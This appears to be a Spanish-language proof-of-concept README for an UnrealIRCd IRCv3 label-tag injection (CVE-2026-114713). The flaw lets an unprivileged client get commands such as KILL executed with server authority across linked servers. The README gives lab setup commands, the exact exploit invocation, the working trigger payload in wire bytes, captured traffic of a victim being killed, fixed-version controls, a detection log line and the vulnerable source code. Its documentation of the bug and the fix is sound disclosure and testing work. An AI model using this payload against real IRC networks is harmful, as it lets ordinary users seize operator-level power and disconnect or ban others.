
POC para CVE-2026-114713 - inyección de etiquetas label de IRCv3 en UnrealIRCd que escala un mensaje de cliente sin privilegios a autoridad de comandos servidor-a-servidor en redes de servidores enlazados. Se incluyen controles de la versión vulnerable 6.2.7 frente a la corregida 6.2.7.1.
El módulo labeled-response devuelve la etiqueta de mensaje (message-tag) "label" de IRCv3 proporcionada por el cliente en las respuestas sin escaparla. Un valor de etiqueta que contiene un salto de línea llega como el escape de etiqueta estándar de IRCv3 \n, que el servidor desescapa a un LF real y luego escribe de vuelta en crudo. Cuando la solicitud etiquetada se enruta a otro servidor (un WHOIS <server> <nick> de dos parámetros hace exactamente eso), la respuesta cruza el enlace servidor-a-servidor llevando ese LF en crudo. El servidor receptor analiza una línea como dos, y la segunda línea —texto elegido por el atacante pegado a la respuesta— se ejecuta como un comando enviado por su par de confianza. En IRC, un mensaje procedente de un servidor enlazado omite las comprobaciones de privilegios aplicadas a los clientes, por lo que un usuario ordinario puede ejecutar KILL, GLINE y otros comandos exclusivos de servidor/IRCOp en toda la red con un solo mensaje de cliente. Corregido en 6.2.7.1 y en el paquete de hot-patch bundle-20261107; incluido en KEV el 2026-11-13 y explotado en la naturaleza.
bundle-20261107 en 6.0.0 - 6.2.7 (sin reinicio)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)Levante el laboratorio (dos servidores vulnerables enlazados en 127.0.0.1:6667/6668, la misma topología en 6.2.7.1, más un control de un solo servidor):
./setup/build-lab.sh # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf
Dispare el desencadenante (atacante y víctima en el leaf, objetivo del WHOIS en el hub):
python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667
--host/--port es el leaf al que se conectan el atacante y la víctima; --hub-host/--hub-port
es el servidor remoto que contiene el objetivo del WHOIS; --whois-server es el nombre usado en
el WHOIS enrutado. Controles: la misma entrada contra la red corregida
(--port 6678 --hub-port 6677) y contra un solo servidor
(--host 127.0.0.1 --port 6687 --single --whois-server single.example.net).
Apunte esto únicamente a servidores IRC de su propiedad.
Ejecución del desencadenante contra la red vulnerable enlazada (captura en crudo:
evidence/01-vulnerable-linked-network-trigger.txt). Primero la comprobación previa: el
mismo KILL enviado directamente es rechazado, lo que demuestra que el atacante no tiene derechos de operador:
--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges
Luego una línea etiquetada (escapes de etiqueta mostrados tal como se envían por el cable):
[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'
El socket de la víctima - eliminado por un comando atribuido al SERVIDOR remoto:
--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))
[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
attributed to the remote SERVER - authority no IRC user has.
El registro del servidor en el host de la víctima identifica al ejecutor como un servidor
(evidence/04-server-log-detection.txt):
leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)
Control A - misma entrada en la red enlazada corregida 6.2.7.1
(evidence/02-control-fixed-6.2.7.1-linked-network.txt): el valor de la etiqueta
contiene un salto de línea, por lo que la corrección rechaza la etiqueta completa; los valores numéricos de WHOIS vuelven
como líneas simples sin etiqueta y la víctima permanece en línea:
:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).
Control B - misma entrada en un único servidor vulnerable, sin enlaces
(evidence/03-control-single-server-precondition.txt): la etiqueta sin escapar solo
se escribe de vuelta en el propio socket del atacante; nada se ejecuta:
[=] CONTROL HOLDS (single-server): no server-authority command executed.
Tres piezas encajan en src/modules/labeled-response.c:
Los valores de etiqueta se desescapan al recibirse (message_tag_unescape() en
src/modules/message-tags.c asigna los escapes de IRCv3 \n \r \s \: a
LF/CR/espacio/punto y coma reales). El cliente nunca envía un salto de línea en bruto; el
servidor lo fabrica a partir de dos bytes imprimibles.
En 6.2.7 el validador de etiquetas acepta cualquier cosa que envíe un cliente con capacidad hasta 64 bytes - no hay comprobación de caracteres sobre el valor:
int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
{
if (BadPtr(value))
return 0;
if (IsServer(client))
return 1;
...
if (strlen(value) <= 64)
return 1;
El módulo entonces formatea ese valor almacenado en líneas de respuesta con llamadas
snprintf en bruto - gen_start_batch() construye "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s" - omitiendo
message_tag_escape(), que usa cualquier otra ruta de salida. Para una respuesta
enrutada a un cliente etiquetado remoto, lr_packet() escribe este búfer en el
enlace del servidor, por lo que el LF dentro de la etiqueta divide el flujo en el par
de confianza: la primera línea es un segmento de etiqueta @label=p corto e inofensivo, la segunda línea es
lo que el atacante haya añadido, ejecutado como un comando desde el servidor
enlazado. El WHOIS de dos parámetros es el portador más limpio porque reenvía
al servidor del objetivo y garantiza una respuesta etiquetada de vuelta a través del enlace.